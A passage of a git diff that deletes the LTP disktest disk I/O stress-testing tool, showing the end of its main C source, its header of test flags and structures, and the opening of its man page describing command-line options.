-			linear_read_write_test(test);
-		} else {
-			/* we only reset the end time if not running a linear read / write test */
-			test->env->end_time =
-			    test->env->start_time + test->args->run_time;
-			test->env->bContinue = TRUE;
-			*(pVal1 + OFF_WLBA) = test->args->start_lba;
-			test->args->test_state =
-			    DIRCT_INC(test->args->test_state);
-			test->args->test_state =
-			    SET_wFST_TIME(test->args->test_state);
-			test->args->test_state =
-			    SET_rFST_TIME(test->args->test_state);
-			if (test->args->flags & CLD_FLG_W) {
-				test->env->lastAction.oper = WRITER;
-				test->args->test_state =
-				    SET_OPER_W(test->args->test_state);
-			} else {
-				test->env->lastAction.oper = READER;
-				test->args->test_state =
-				    SET_OPER_R(test->args->test_state);
-			}
-			memset(test->env->action_list, 0,
-			       sizeof(action_t) * test->args->t_kids);
-			test->env->action_list_entry = 0;
-			test->env->wcount = 0;
-			test->env->rcount = 0;
-
-			if (test->args->flags & CLD_FLG_CYC)
-				if (test->args->cycles == 0) {
-					pMsg(INFO, test->args,
-					     "Starting pass %lu\n",
-					     (unsigned long)test->env->
-					     pass_count);
-				} else {
-					pMsg(INFO, test->args,
-					     "Starting pass %lu of %lu\n",
-					     (unsigned long)test->env->
-					     pass_count, test->args->cycles);
-			} else {
-				pMsg(INFO, test->args, "Starting pass\n");
-			}
-
-			CreateTestChild(ChildTimer, test);
-			for (i = 0; i < test->args->t_kids; i++) {
-				CreateTestChild(ChildMain, test);
-			}
-			/* Wait for the children to finish */
-			cleanUpTestChildren(test);
-		}
-
-		update_cyc_stats(test->env);
-		if ((test->args->flags & CLD_FLG_CYC)
-		    && (test->args->flags & CLD_FLG_PCYC)) {
-			print_stats(test->args, test->env, CYCLE);
-		}
-		update_gbl_stats(test->env);
-
-		if (signal_action & SIGNAL_STOP) {
-			break;
-		}		/* user request to stop */
-		if ((glb_run == 0)) {
-			break;
-		}
-		/* global request to stop */
-		if (!(test->args->flags & CLD_FLG_CYC)) {
-			break;	/* leave, unless cycle testing */
-		} else {
-			if ((test->args->cycles > 0)
-			    && (test->env->pass_count >= test->args->cycles)) {
-				break;	/* leave, cycle testing complete */
-			}
-		}
-	} while (TST_STS(test->args->test_state));
-	print_stats(test->args, test->env, TOTAL);
-
-	FREE(data_buffer_unaligned);
-	FREE(test->env->shared_mem);
-#ifdef WINDOWS
-	CloseHandle(OpenMutex(SYNCHRONIZE, TRUE, "gbl"));
-	CloseHandle(OpenMutex(SYNCHRONIZE, TRUE, "data"));
-#endif
-
-	if (TST_STS(test->args->test_state)) {
-		if (signal_action & SIGNAL_STOP) {
-			pMsg(END, test->args,
-			     "User Interrupt: Test Done (Passed)\n");
-		} else {
-			pMsg(END, test->args, "Test Done (Passed)\n");
-		}
-	} else {
-		if (signal_action & SIGNAL_STOP) {
-			pMsg(END, test->args,
-			     "User Interrupt: Test Done (Failed)\n");
-		} else {
-			pMsg(END, test->args, "Test Done (Failed)\n");
-		}
-	}
-	TEXIT((uintptr_t) GETLASTERROR());
-}
-
-/*
- * Creates a new test structure and adds it to the list of
- * test structures already available.  Allocate all memory
- * needed by the new test.
- *
- * Returns the newly created test structure
- */
-test_ll_t *getNewTest(test_ll_t * testList)
-{
-	test_ll_t *pNewTest;
-
-	if ((pNewTest = (test_ll_t *) ALLOC(sizeof(test_ll_t))) == NULL) {
-		pMsg(ERR, &cleanArgs,
-		     "%d : Could not allocate memory for new test.\n",
-		     GETLASTERROR());
-		return NULL;
-	}
-
-	memset(pNewTest, 0, sizeof(test_ll_t));
-
-	if ((pNewTest->args =
-	     (child_args_t *) ALLOC(sizeof(child_args_t))) == NULL) {
-		pMsg(ERR, &cleanArgs,
-		     "%d : Could not allocate memory for new test.\n",
-		     GETLASTERROR());
-		FREE(pNewTest);
-		return NULL;
-	}
-	if ((pNewTest->env = (test_env_t *) ALLOC(sizeof(test_env_t))) == NULL) {
-		pMsg(ERR, &cleanArgs,
-		     "%d : Could not allocate memory for new test.\n",
-		     GETLASTERROR());
-		FREE(pNewTest->args);
-		FREE(pNewTest);
-		return NULL;
-	}
-	memcpy(pNewTest->args, &cleanArgs, sizeof(child_args_t));
-	memcpy(pNewTest->env, &cleanEnv, sizeof(test_env_t));
-
-	pNewTest->next = testList;
-	testList = pNewTest;
-	return pNewTest;
-}
-
-test_ll_t *run()
-{
-	test_ll_t *newTest = NULL, *lastTest = NULL;
-
-	if (cleanArgs.flags & CLD_FLG_FSLIST) {
-		char *filespec = cleanArgs.device;
-		char *aFilespec = NULL;
-		FILE *file = NULL;
-
-		if ((aFilespec = (char *)ALLOC(80)) == NULL) {
-			pMsg(ERR, &cleanArgs,
-			     "Could not allocate memory to read file");
-			return newTest;
-		}
-
-		file = fopen(filespec, "r");
-		if (file == NULL) {
-			pMsg(ERR,
-			     &cleanArgs,
-			     "%s is not a regular file, could not be opened for reading, or was not found.",
-			     filespec);
-			FREE(aFilespec);
-
-			return newTest;
-		}
-
-		while (!feof(file)) {
-			memset(aFilespec, 0, 80);
-			fscanf(file, "%79s", aFilespec);
-			if (aFilespec[0] != 0) {	/* if we read something useful */
-				lastTest = newTest;
-				newTest = getNewTest(lastTest);
-				if (newTest != lastTest) {
-					memset(newTest->args->device, 0,
-					       DEV_NAME_LEN);
-					strncpy(newTest->args->device,
-						aFilespec, strlen(aFilespec));
-					createChild(threadedMain, newTest);
-				} else {
-					newTest = lastTest;
-					break;
-				}
-			}
-		}
-
-		fclose(file);
-		FREE(aFilespec);
-	} else {
-		newTest = getNewTest(newTest);
-		if (newTest != NULL) {
-			createChild(threadedMain, newTest);
-		}
-	}
-
-	return newTest;
-}
-
-int main(int argc, char **argv)
-{
-	extern time_t global_start_time;
-	extern unsigned long glb_flags;	/* global flags GLB_FLG_xxx */
-	int i;
-
-#ifdef WINDOWS
-	WORD wVersionRequested;
-	WSADATA wsaData;
-	int err;
-
-	wVersionRequested = MAKEWORD(2, 2);
-
-	err = WSAStartup(wVersionRequested, &wsaData);
-	if (err != 0) {
-		pMsg(WARN, &cleanArgs,
-		     "Windows setup of Winsock failed, can't retrieve host name, continuing");
-	}
-#endif
-
-	setup_sig_mask();
-
-	memset(hostname, 0, HOSTNAME_SIZE);
-	gethostname(hostname, HOSTNAME_SIZE);
-
-	setbuf(stdout, NULL);
-
-	glb_flags = 0;
-	global_start_time = time(NULL);
-
-	strncpy(cleanArgs.device, "No filespec", strlen("No filespec"));
-	cleanArgs.stop_lba = -1;
-	cleanArgs.stop_blk = -1;
-	cleanArgs.ioTimeout = DEFAULT_IO_TIMEOUT;
-	cleanArgs.flags |= CLD_FLG_ALLDIE;
-	cleanArgs.flags |= CLD_FLG_ERR_REREAD;
-	cleanArgs.flags |= CLD_FLG_LBA_SYNC;
-
-	for (i = 1; i < argc - 1; i++) {
-		strncat(cleanArgs.argstr, argv[i],
-			(MAX_ARG_LEN - 1) - strlen(cleanArgs.argstr));
-		strncat(cleanArgs.argstr, " ",
-			(MAX_ARG_LEN - 1) - strlen(cleanArgs.argstr));
-	}
-
-	if (fill_cld_args(argc, argv, &cleanArgs) < 0)
-		exit(1);
-
-	cleanUp(run());
-
-#ifdef WINDOWS
-	WSACleanup();
-#endif
-
-	return 0;
-}
diff --git a/testcases/kernel/io/disktest/main.h b/testcases/kernel/io/disktest/main.h
deleted file mode 100644
index 8cab87c..0000000
--- a/testcases/kernel/io/disktest/main.h
+++ /dev/null
@@ -1,278 +0,0 @@
-/*
-* Disktest
-* Copyright (c) International Business Machines Corp., 2001
-*
-*
-* This program is free software; you can redistribute it and/or modify
-* it under the terms of the GNU General Public License as published by
-* the Free Software Foundation; either version 2 of the License, or
-* (at your option) any later version.
-*
-* This program is distributed in the hope that it will be useful,
-* but WITHOUT ANY WARRANTY; without even the implied warranty of
-* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-* GNU General Public License for more details.
-*
-* You should have received a copy of the GNU General Public License
-* along with this program; if not, write to the Free Software
-* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-*
-*  Please send e-mail to yardleyb@us.ibm.com if you have
-*  questions or comments.
-*
-*  Project Website:  TBD
-*
-* $Id: main.h,v 1.5 2008/02/14 08:22:23 subrata_modak Exp $
-*
-*/
-
-#ifndef _DISKTEST_H
-#define _DISKTEST_H
-
-#ifdef WINDOWS
-#include <windows.h>
-#include <winioctl.h>
-#include <io.h>
-#include <process.h>
-#include <sys/stat.h>
-#else
-#include <pthread.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <unistd.h>
-#endif
-
-#include <stdio.h>
-#include <stdlib.h>
-#include <stdarg.h>
-#include <signal.h>
-#include <time.h>
-#include <errno.h>
-#include "defs.h"
-#include "lapi/abisize.h"
-
-#define VER_STR "v1.4.2"
-#define BLKGETSIZE _IO(0x12,96)		/* IOCTL for getting the device size */
-#define BLKSSZGET  _IO(0x12,104)	/* ALT IOCTL for getting the device size */
-
-#define DEV_NAME_LEN		80		/* max character for target name */
-#define MAX_ARG_LEN			160		/* max length of command line arguments for startarg display */
-#define HOSTNAME_SIZE		16		/* number of hostname characters used in mark header */
-#define BLK_SIZE			512		/* default size of an LBA in bytes */
-#define ALIGNSIZE			4096	/* memory alignment size in bytes */
-#define DEFAULT_IO_TIMEOUT	120		/* the default number of seconds before IO timeout */
-
-/* the new way we align */
-#define ALIGN(x, y) (((long long unsigned)x/(long long unsigned)y)*(long long unsigned)y)
-
-#ifdef TST_ABI64
-/* the old way we use to align */
-/* #define ALIGN(x, bs) (((OFF_T)x + ((OFF_T)bs - 1)) & ~((OFF_T)bs - 1)) */
-#define BUFALIGN(x) (void *) (((unsigned long)x + (OFF_T)(ALIGNSIZE - 1)) & (OFF_T)~(ALIGNSIZE - 1))
-#else
-/* the old way we use to align */
-/* #define ALIGN(x, bs) ((x + (bs - 1)) & ~(bs - 1)) */
-#define BUFALIGN(x) (void *) (((unsigned long)x + (ALIGNSIZE - 1)) & ~(ALIGNSIZE - 1))
-#endif
-
-#define MASK(x,y) (x & y)
-
-/* each is a 64b number.  offsets are in 8B*offset placement */
-#define OFF_RLBA	0	/* offset in memseg of current read LBA */
-#define OFF_WLBA	1	/* offset in memseg of current write LBA */
-
-#define BMP_OFFSET	2*sizeof(OFF_T)		/* bitmap starts here */
-
-#define TST_STS(x)			(x & 0x1)	/* current testing status */
-#define SET_STS_PASS(x)		(x | 0x01)
-#define SET_STS_FAIL(x)		(x & ~0x01)
-#define TST_wFST_TIME(x)	(x & 0x02)	/* first write lba access */
-#define SET_wFST_TIME(x)	(x | 0x02)
-#define CLR_wFST_TIME(x)	(x & ~0x02)
-#define TST_rFST_TIME(x)	(x & 0x04)	/* first read lba access */
-#define SET_rFST_TIME(x)	(x | 0x04)
-#define CLR_rFST_TIME(x)	(x & ~0x04)
-#define TST_DIRCTN(x)	(x & 0x08)		/* lba inc/dec 1 is inc, 0 is dec */
-#define DIRCT_INC(x)    (x | 0x08)
-#define DIRCT_DEC(x)    (x & ~0x08)
-#define DIRCT_CNG(x)    (x & 0x08) ? (x & ~0x08) : (x | 0x08)
-#define TST_OPER(x) (short) ((x & 0x10) >> 4)	/* last transfer operation (write = 0, read = 1) */
-#define SET_OPER_R(x)	(x | 0x10)
-#define SET_OPER_W(x)	(x & ~0x10)
-#define CNG_OPER(x)		(x & 0x10) ? (x & ~0x10) : (x | 0x10)
-
-#define CLD_FLG_CMPR		0x0000000000000001ULL	/* will cause readers to compare data read */
-#define CLD_FLG_MBLK		0x0000000000000002ULL	/* will add header info to first block, fc lun, lba, etc */
-#define CLD_FLG_OFFSET		0x0000000000000004ULL	/* specifies that an offset up to 2^31 LBAs has been given */
-#define CLD_FLG_RTRSIZ		0x0000000000000008ULL	/* Ignore weither a block has been written */
-
-/* Perforamnce Flags */
-#define CLD_FLG_XFERS		0x0000000000000010ULL	/* reports # of transfers */
-#define CLD_FLG_TPUTS		0x0000000000000020ULL	/* reports calculated throughtput */
-#define CLD_FLG_RUNT		0x0000000000000040ULL	/* reports run time */
-#define CLD_FLG_PCYC		0x0000000000000080ULL	/* report cycle data */
-#define CLD_FLG_PRFTYPS	(CLD_FLG_XFERS|CLD_FLG_TPUTS|CLD_FLG_RUNT|CLD_FLG_PCYC)
-
-/* Seek Flags */
-#define CLD_FLG_RANDOM		0x0000000000000100ULL	/* child seeks are random */
-#define CLD_FLG_LINEAR		0x0000000000000200ULL	/* child seeks are linear */
-#define CLD_FLG_NTRLVD		0x0000000000000400ULL	/* reads and writes are interleaved */
-#define CLD_FLG_SKTYPS	(CLD_FLG_RANDOM|CLD_FLG_LINEAR)
-
-#define CLD_FLG_VSIZ		0x0000000000000800ULL	/* Volume size is user specified */
-
-/* IO Type Flags */
-#define CLD_FLG_RAW			0x0000000000001000ULL	/* child IO is to a raw/character device */
-#define CLD_FLG_BLK			0x0000000000002000ULL	/* child IO is to a block device */
-#define CLD_FLG_FILE		0x0000000000004000ULL	/* child IO is to a file */
-#define CLD_FLG_DIRECT		0x0000000000008000ULL	/* child IO has direct disk access */
-#define CLD_FLG_IOTYPS	(CLD_FLG_RAW|CLD_FLG_BLK|CLD_FLG_FILE|CLD_FLG_DIRECT)
-
-/* Pattern Flags */
-#define CLD_FLG_RPTYPE		0x0000000000010000ULL	/* random pattern */
-#define CLD_FLG_FPTYPE		0x0000000000020000ULL	/* fixed pattern */
-#define CLD_FLG_CPTYPE		0x0000000000040000ULL	/* counting pattern */
-#define CLD_FLG_LPTYPE		0x0000000000080000ULL	/* lba pattern */
-#define CLD_FLG_PTYPS	(CLD_FLG_RPTYPE|CLD_FLG_FPTYPE|CLD_FLG_CPTYPE|CLD_FLG_LPTYPE)
-
-/* Duration Flags */
-#define CLD_FLG_TMD			0x0000000000100000ULL	/* set if using time */
-#define CLD_FLG_SKS			0x0000000000200000ULL	/* set if seeks are used */
-#define CLD_FLG_CYC			0x0000000000400000ULL	/* set if cycles are used */
-#define CLD_FLG_DUTY		0x0000000000800000ULL	/* set if a duty cycle is used while running */
-
-#define CLD_FLG_LBA_RNG		0x0000000001000000ULL	/* write multipule read multipule, must define multiple */
-#define CLD_FLG_BLK_RNG		0x0000000002000000ULL	/* write once read multiple, must define multiple */
-#define CLD_FLG_ALLDIE		0x0000000004000000ULL	/* will force all children to die on any error if set */
-#define CLD_FLG_DUMP		0x0000000008000000ULL	/* will dump formatted data */
-
-#define CLD_FLG_LUNU		0x0000000010000000ULL	/* seek start/end and then start/end */
-#define CLD_FLG_LUND		0x0000000020000000ULL	/* seek start/end and then end/start */
-#define CLD_FLG_W			0x0000000040000000ULL	/* there are child writers */
-#define CLD_FLG_R			0x0000000080000000ULL	/* there are child readers */
-
-#define CLD_FLG_FSLIST		0x0000000100000000ULL	/* the filespec is a list of targets */
-#define CLD_FLG_HBEAT		0x0000000200000000ULL	/* if performance heartbeat is being used */
-#define CLD_FLG_WFSYNC		0x0000000400000000ULL	/* do an fsync on write for file IO */
-#define FLAG_NOT_DEFINED	0x0000000800000000ULL	/* NOT DEFINED */
-
-#define CLD_FLG_WRITE_ONCE	0x0000001000000000ULL	/* only write once to each LBA */
-#define CLD_FLG_ERR_REREAD	0x0000002000000000ULL	/* On miscompare, reread the miscompare transfer */
-#define CLD_FLG_LBA_SYNC	0x0000004000000000ULL	/* LBA syncronizion */
-#define CLD_FLG_IO_SERIAL	0x0000008000000000ULL	/* serialize IO at the IO operation level */
-
-#define CLD_FLG_MRK_LBA		0x0000010000000000ULL	/* enable adding LBA to mark data */
-#define CLD_FLG_MRK_PASS	0x0000020000000000ULL	/* enable adding pass count to mark data */
-#define CLD_FLG_MRK_TIME	0x0000040000000000ULL	/* enable adding start time to mark data */
-#define CLD_FLG_MRK_SEED	0x0000080000000000ULL	/* enable adding seed to mark data */
-#define CLD_FLG_MRK_HOST	0x0000100000000000ULL	/* enable adding hostname to mark data */
-#define CLD_FLG_MRK_TARGET	0x0000200000000000ULL	/* enable adding target name to mark data */
-#define CLD_FLG_MRK_ALL	(CLD_FLG_MRK_LBA|CLD_FLG_MRK_PASS|CLD_FLG_MRK_TIME|CLD_FLG_MRK_SEED|CLD_FLG_MRK_HOST|CLD_FLG_MRK_TARGET)
-
-#define CLD_FLG_ALT_MARK	0x0000400000000000ULL	/* override time marker, with data in alt_mark, in mark header */
-#define CLD_FLG_ERR_MARK	0x0000800000000000ULL	/* On error, write a special MARKER to LBA 0 on the target */
-
-#define CLD_FLG_TMO_ERROR	0x0001000000000000ULL	/* make an IO TIMEOUT warning, fail the IO test */
-#define CLD_FLG_UNIQ_WRT	0x0002000000000000ULL	/* garentees that every write is unique */
-
-/* startup defaults */
-#define TRSIZ	1		/* default transfer size in blocks */
-#define VSIZ	2000	/* default volume capacity in LBAs */
-#define SEEKS	1000	/* default seeks */
-#define KIDS	4		/* default number of children */
-
-#ifdef WINDOWS
-typedef HANDLE hThread_t;
-#else
-typedef pthread_t hThread_t;
-#endif
-
-typedef struct thread_struct {
-	hThread_t hThread;
-	BOOL bCanBeJoined;
-	struct thread_struct *next; /* pointer to next thread */
-} thread_struct_t;
-
-typedef struct stats {
-	OFF_T wcount;
-	OFF_T rcount;
-	OFF_T wbytes;
-	OFF_T rbytes;
-	time_t wtime;
-	time_t rtime;
-} stats_t;
-
-typedef struct child_args {
-	char device[DEV_NAME_LEN];	/* device name */
-	char argstr[MAX_ARG_LEN];	/* human readable argument string /w assumtions */
-	OFF_T vsiz;					/* volume size in blocks */
-	unsigned long ltrsiz;		/* low bound of transfer size in blocks */
-	unsigned long htrsiz;		/* high bound of transfer size in blocks */
-	long offset;				/* the lba offset to shift IO alignment by */
-	OFF_T pattern;				/* pattern data */
-	time_t run_time;			/* run time in seconds */
-	OFF_T seeks;				/* number of seeks */
-	unsigned long cycles;		/* number of cycles */
-	OFF_T start_blk;			/* starting transfer block */
-	OFF_T stop_blk;				/* ending transfer block */
-	OFF_T start_lba;			/* starting LBA */
-	OFF_T stop_lba;				/* ending LBA */
-	unsigned int retries;		/* number of retries */
-	time_t hbeat;				/* Statistics will be reported every hbeats seconds */
-	unsigned long long flags;	/* common flags that a child uses */
-	unsigned long rcount;		/* number of reads a child should perform, 0 is unbound  */
-	unsigned long wcount;		/* number of writes a child should perform, 0 is unbound  */
-	short rperc;				/* percent of IO that should be reads */
-	short wperc;				/* percent of IO that should be write */
-	unsigned short t_kids;		/* total children, max is 64k */
-	unsigned int cmp_lng;		/* how much of the data should be compared */
-	OFF_T test_state;			/* current test state */
-	unsigned int seed;			/* test seed */
-	pid_t pid;					/* the process_id used for this environment */
-	OFF_T alt_mark;				/* alternate marker the start time */
-	unsigned long delayTimeMin;	/* the minimum time (msec) to delay on each IO */
-	unsigned long delayTimeMax;	/* the maximum time (msec) to delay on each IO */
-	time_t ioTimeout;			/* the time (sec) before failure do to possible hung IO */
-	unsigned long sync_interval;/* number of write IOs before issuing a sync */
-	long retry_delay;			/* number of msec to wait before retrying an IO */
-} child_args_t;
-
-typedef struct mutexs {
-#ifdef WINDOWS
-	HANDLE MutexACTION;			/* mutex for the entire target device */
-	HANDLE MutexIO;				/* mutex for the IO to the device */
-#else
-	pthread_mutex_t MutexACTION; /* mutex for the entire target device */
-	pthread_mutex_t MutexIO;	/* mutex for the IO to the device */
-#endif
-} mutexs_t;
-
-typedef struct test_env {
-	void *shared_mem;           /* global pointer to shared memory */
-	unsigned char *data_buffer; /* global data buffer */
-	size_t bmp_siz;             /* size of bitmask */
-	BOOL bContinue;             /* global that when set to false will force exit for this environment */
-	OFF_T pass_count;           /* pass counters */
-	stats_t hbeat_stats;        /* per heartbeat statistics */
-	stats_t cycle_stats;        /* per cycle statistics */
-	stats_t global_stats;       /* per env statistics */
-	OFF_T rcount;				/* number of read IO operations */
-	OFF_T wcount;				/* number of write IO operations */
-	unsigned short kids;		/* number of test child processes */
-	thread_struct_t *pThreads;  /* List of child test processes */
-	time_t start_time;			/*	overall start time of test	*/
-	time_t end_time;			/*	overall end time of test	*/
-	action_t lastAction;		/* when interleaving tests, tells the threads whcih action was last */
-	action_t *action_list;		/* pointer to list of actions that are currently in use */
-	int action_list_entry;		/* where in the action_list we are */
-	mutexs_t mutexs;
-} test_env_t;
-
-typedef struct test_ll {
-	test_env_t *env;			/* pointer to the environment structure */
-	child_args_t *args;			/* pointer to the argument structure */
-	hThread_t hThread;
-	struct test_ll *next;		/* pointer to the next test */
-} test_ll_t;
-
-#endif /* _DISKTEST_H */
diff --git a/testcases/kernel/io/disktest/man1/disktest.1 b/testcases/kernel/io/disktest/man1/disktest.1
deleted file mode 100644
index e1c174a..0000000
--- a/testcases/kernel/io/disktest/man1/disktest.1
+++ /dev/null
@@ -1,636 +0,0 @@
-.\"
-.\" Disktest raw man text
-.\" Copyright (c) International Business Machines Corp., 2001
-.\"
-.\"
-.\" This program is free software; you can redistribute it and/or modify
-.\" it under the terms of the GNU General Public License as published by
-.\" the Free Software Foundation; either version 2 of the License, or
-.\" (at your option) any later version.
-.\"
-.\" This program is distributed in the hope that it will be useful,
-.\" but WITHOUT ANY WARRANTY; without even the implied warranty of
-.\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-.\" GNU General Public License for more details.
-.\"
-.\" You should have received a copy of the GNU General Public License
-.\" along with this program; if not, write to the Free Software
-.\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
-.\"
-.\"  Please send e-mail to yardleyb@us.ibm.com if you have
-.\"  questions or comments.
-.\"
-.\"  Project Website:  TBD
-
-.\" Process this file with
-.\" groff -man -Tascii disktest.1
-.\"
-.\" $Id: disktest.1,v 1.5 2008/02/14 08:22:25 subrata_modak Exp $
-.\"
-
-.TH DISKTEST 1 "March 2007" OS "Diag Tools"
-.SH NAME
-disktest \- Test tool for exersizing disk devices
-.SH SYNOPSIS
-.B disktest [-q] [-Q] [-r] [-w] [-E
-.I cmp_length
-.B ] [-a
-.I seed
-.B ] [ -A
-.I action
-.B ] [-z|c|n|f
-.I fixed_pattern
-.B ] [-B
-.I sBLK[:eBLK]
-.B | -C
-.I cycles
-.B ] [-d ] [-D
-.I r%:w%
-.B ] [-F] [-h
-.I heartbeat
-.B ] [-K
-.I threads
-.B | -L
-.I seeks
-.B ] [-P
-.I TXPRCA
-.B ] [ -m ] [-N
-.I sectors
-.B ] [-R
-.I retry[:retryDelay]
-.B ] [-o
-.I offset
-.B ] [-s
-.I sLBA[:eLBA]
-.B ] [-S
-.I sBLK[:eBLK]
-.B ] [-t
-.I delayMin[[:[delayMax]][:ioTimeout]]
-.B ] [-T
-.I seconds
-.B ] [-p
-r
-.B |
-R
-.B |
-l
-.B [
-u
-.B |
-d
-.B ]
-.B ] |
-L
-.B [
-u
-.B |
-d
-.B ]] [-I [
-d
-.B ]
-r
-.B |
-b
-.B |
-f
-.B [
-s [ delay ]
-.B ]
-.B ]
-.I filespec
-.SH DESCRIPTION
-.B Disktest
-does repeated accesses to a
-.I filespec
-and optionally writes to, reads from, and verifies the data.  By default,
-.B disktest
-makes assumptions about the running environment which allows for a quick start of IO generation.  However,
-.B Disktest
-has a large number of command line options which can be used to adapt the test for a variety of uses including data integrity, medium integrity, performance, and simple application simulation.
-
-.B Disktest
-will use the device specified by
-.I filespec.
-If no option is specified otherwise,
-.B disktest
-will attempt to determine
-.I filespec
-type.  Fully qualified path must be give when
-.I filespec
-is not a normal file.  This will help to determine it's type.
-.SH OPTIONS
-Most options have multipliers that can be used to specify larger amounts.  The following are a list of these multipliers.
-.RS
-
-k = 1024, K = 10^3, m = 1024^2, M = 10^6, g = 1024^3, G = 10^9
-
-.RE
-These can be used on options such as -B, -L, -N, -S, -s.  The time options also have multipliers.
-.RS
-
-m = 60, h = 60*60, d = 60*60*24
-
-.RE
-These can be used on options such as -h and -T.
-.IP -?
-Displays a short description of the command line options and exits normally.
-.IP "-a seed"
-Use seed for all random number generation when constructing blocks of pseudo-random data and random seeks.
-By default, seed is set to the process id number.
-To reproduce a previous test run, use the process id number outputted to stdout.
-.IP "-A action"
-These options are used to modify the default behavor during IO runtime.
-The following options can be used for these modifications.
-.RS
-.RS
-.IP g
-all threads, even to multiple targets, will be killed and the disktest process will stop.
-By default, when an access failure occurs only the threads to the failing target will stop.
-.IP c
-after error, all threads for all targets will continue to run.
-.IP r
-the reread that would normally occur on a data miscompare is not performed.
-.IP m
-after error, a special IO is sent to LBA 0 of the target.
-This is so that a trigger can be set on the special data.
-At the beginning if the IO is the string "DISKTEST ERROR OCCURRED".
-This will overwrite any mark data or normal pattern data written.
-.IP s
-disable block level synchronization.
-By default distest will synchronize IO on a block level according to the POSIX standard that states that an application must serialize IO to a block or raw device.
-Disktest will not allow a write if the block is already being written or read, but will allow a read if other reads are occuring.
-This option will turn off this checking.
-.IP S
-enable IO serialization.
-This addes to the synchronization of the threads, so that there is no more then one IO oustanding to a target, no matter how many threads are running to the target.
-.IP t
-causes an IO timeout, to fail an IO run.
-normally an IO timeout, see -t option, will just display a warning.
-.IP w
-If running the -pR seek type, and this action is specified, then blocks will only be written once, and be read many times, i.e. WORM still testing.
-This option does nothing with other seek pattern types, or if not reading and writing.
-
-.RE
-.B NOTE:
-Options g and c are exclusive.
-Option m cannot be specified with with c.
-Option m cannot be specified if only reading from a device.
-When using option s, it is possible that in some operating systems, that a data miscompare may result due to a kernel that does not garentee exclusion or does not handle well multiple readers and writers to the same block.
-.RE
-.IP "-B sBlockSize[:eBlockSize]"
-Set the size of the data block transfer.  If only
-.I sBlockSize
-is specified, then the transfer length is always a fixed length of
-.I sBlockSize.
-If
-.I eBlockSize
-is specified, then the transfer length will be randomly chosen between
-.I sBlockSize
-and
-.I eBlockSize.
-The transfer size will always be a multipile of the sector size.
-If either parameter is greater then 256, then the value will be integer divided by the sector size default, which is 512 bytes. If either parameter is preceded by a 'k', i.e. 8k, then the value will be multiplied by 1024. Otherwise, the parameters will be taken literally.  The default block size is (1*sector size) or 512.  Note that
-.B O_DIRECT
-, no filesystem buffering, and some file system may not be able to perform accesses as small as 512 bytes.  This will result in an IO failure with a transfer length of -1.
-.IP -c
-Use a counting sequence for the bytes within to each block.  The count starts at 0 and increments to 255 then begins again at 0.  Each sector is filled with two of these sequences.
-.IP "-C cycles"
-Run until the total number of
-.I cycles
-are complete.  When cycles is set to zero, disktest will run until killed.  The -L or -T option is used to specify how long each cycle will run for.  If neither -T or -L is specified, the cycle length with be calculated to the number of seeks based on the device size, -N, divided by the transfer size, -B. If -C is not specified, only a single cycle is run.
-.IP -d
-Force
-.B disktest
-to dump to stdout the amount of data at the location specified by the other command-line option, i.e. -d -s50 -B 32k will dump 32768 bytes of data to stdout starting at LBA 50. The data is formatted into lines of 16 bytes with the location offset and ASCII equivalent.
-.IP "-D r%:w%"
-Duty cycle used while reading and/or writing.  For example, -D 20:80 would cause
-.B disktest
-to generate a read 20% of the total run time and generate a write 80%.  If only read or write is give then the percentage is always set to 100 for the specified option.  If the total percentage does not add up to 100, i.e. -D 20:70, then
-.B disktest
-will split the remaining percentage, resulting in 25% reads and 75% writes.
-.IP "-E compare_length"
-Turn on error checking.  Data read from
-.I filespec
-will be checked for correctness up to the number of bytes specified by
-.I compare_length.
-If
-.I compare_length
-is 0 then the block size is used as the compare length. By default, data read is not checked for errors.
-.IP "-f fixed_pattern"
-Use a data pattern consisting of a fixed value.
-.I fixed_pattern
-can be entered using decimal, any number not starting with a 0, octel, any number staring with a 0, or hexadecimal, any number and [A-F] starting with 0x. The value can be no greater +/- 2^63, in size.
-.IP -F
-used to specify that the
-.I filespec
-is actually a file listing the targets that
-.B disktest
-should operate on.  This allows
-.B disktest
-to run to multiple targets using the same options from a single command-line.
-.IP "-h heartbeat"
-Performance data will be sent to stdout every
-.I heartbeat
-seconds. During a linear test, -pL, only heartbeat statistics for the current operational cycle will be displayed. The default is to only display performance data at the end of the test, which is cumulative for all IO performed throughout the test.
-.IP "-I IO_type"
-Set the data transfer type to IO_type. Valid IO types are
-.B r
-(raw),
-.B b
-(block), or
-.B f
-(file) I/O.  These options are case sensitive.
-
-The
-.B r
-(raw) type is used when binding a block device to a raw device, see
-.B raw(8). Disktest
-will align it's buffers correctly to support raw devices.
-
-The
-.B b
-(block) type is used when block IO is desired.  The buffer_cache will be used during testing.  Buffer alignment is not required for this type of IO operation.
-
-The
-.B f
-(file) type is used when accessing a file.  If the file does not exist then it will be created.  If the file exists, then it will opened; see
-.B O_CREAT
-in
-.B open(2)
-for more details. Access to the file is performed through the file system that the file is stored on. Adding an S modifier to the F (file) type opertaions will force an
-.B fsync(2)
-to occur on every write.
-
-Adding
-.B d
-will open with the
-.B O_DIRECT
-flag set.
-If this option is used, then I/O is limited to being aligned to the file systems block size.
-When transferring to a block device w/o a file system, then alignment is to 1k.
-These limits have been verified with the 2.4.9 kernel and the o_direct patch from AA.
-
-Adding
-.B s
-.I sync_interval
-Specifies that a sync should occur at
-.I sync_interval
-number of write IO operations. The default is to sync on every IO.
-
-.B Disktest
-will report a failure if
-.I filespec
-does not match the
-.I IO_type
-specified.
-If no type is specified, then disktest will attempt to determine the file type by using stat(2).
-.IP "-K threads"
-Set the number of test threads to threads.  Each child can read or write based on the specified criteria.  The default number of test threads is 4.
-.IP "-L seeks"
-Total number of seeks to occur during testing.  This option specifies the exact number of times a seek occurs on a resource.  By default
-.B disktest
-will calculate the number of seeks by taking the difference between the start block and the stop block.  If the difference is 0 then the default is 1000 seeks.
-.IP "-m"
-This option will add the lba, pass count, seed, cycle start time, hostname, and target to each LBA as header data before any IO operation occurs. The mark replaces the first n bytes of data in each LBA.
-.IP "-M marker"
-This option will override the cycle start time in the -m option with the specified value. This is useful when you are writing in one distest instance and read/verifing in another so that the mark data can be unique and also deterministic.
-.IP -n
